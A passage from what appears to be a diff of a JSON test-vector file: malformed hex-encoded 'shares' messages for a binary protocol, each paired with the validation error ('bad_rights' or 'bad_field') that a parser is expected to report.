00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "error": "bad_rights" + }, + { + "name": "shares-count-zero", + "direction": "to-worker", + "rights": 0, + "hex": "574556310106000004000000780e000001000000000000007372632d3000000000000000000000000000000000000000000000000000000012000001000000009210000000000000040000002f776f726b73706163652f666f6c646572732f6e6f7465730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077696e7465722d67756964616e6365000000000000000000000000000000000012000001000000001f14000000000000030000002f72756e2f77696e7465722f7368617265642d696e737472756374696f6e730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "error": "bad_field" + }, + { + "name": "shares-count-thirteen", + "direction": "to-worker", + "rights": 13, + "hex": "574556310106000004000000780e0000010000000d0000007372632d3000000000000000000000000000000000000000000000000000000012000001000000009210000000000000040000002f776f726b73706163652f666f6c646572732f6e6f7465730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077696e7465722d67756964616e6365000000000000000000000000000000000012000001000000001f14000000000000030000002f72756e2f77696e7465722f7368617265642d696e737472756374696f6e730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "error": "bad_field" + }, + { + "name": "shares-record-version-two", + "direction": "to-worker", + "rights": 2, + "hex": "574556310106000004000000780e000002000000020000007372632d3000000000000000000000000000000000000000000000000000000012000001000000009210000000000000040000002f776f726b73706163652f666f6c646572732f6e6f7465730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077696e7465722d67756964616e6365000000000000000000000000000000000012000001000000001f14000000000000030000002f72756e2f77696e7465722f7368617265642d696e737472756374696f6e730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "error": "bad_field" + }, + { + "name": "shares-unused-slot-not-zero", + "direction": "to-worker", + "rights": 2, + "hex": "574556310106000004000000780e000001000000020000007372632d3000000000000000000000000000000000000000000000000000000012000001000000009210000000000000040000002f776f726b73706163652f666f6c646572732f6e6f7465730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077696e7465722d67756964616e6365000000000000000000000000000000000012000001000000001f14000000000000030000002f72756e2f77696e7465722f7368617265642d696e737472756374696f6e730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "error": "bad_field" + }, + { + "name": "shares-flags-both-kinds", + "direction": "to-worker", + "rights": 2, + "hex": "574556310106000004000000780e000001000000020000007372632d3000000000000000000000000000000000000000000000000000000012000001000000009210000000000000060000002f776f726b73706163652f666f6c646572732f6e6f7465730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077696e7465722d67756964616e6365000000000000000000000000000000000012000001000000001f14000000000000030000002f72756e2f77696e7465722f7368617265642d696e737472756374696f6e730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "error": "bad_field" + }, + { + "name": "shares-flags-no-kind", + "direction": "to-worker", + "rights": 2, + "hex": "574556310106000004000000780e000001000000020000007372632d3000000000000000000000000000000000000000000000000000000012000001000000009210000000000000000000002f776f726b73706163652f666f6c646572732f6e6f7465730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077696e7465722d67756964616e6365000000000000000000000000000000000012000001000000001f14000000000000030000002f72756e2f77696e7465722f7368617265642d696e737472756374696f6e7300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000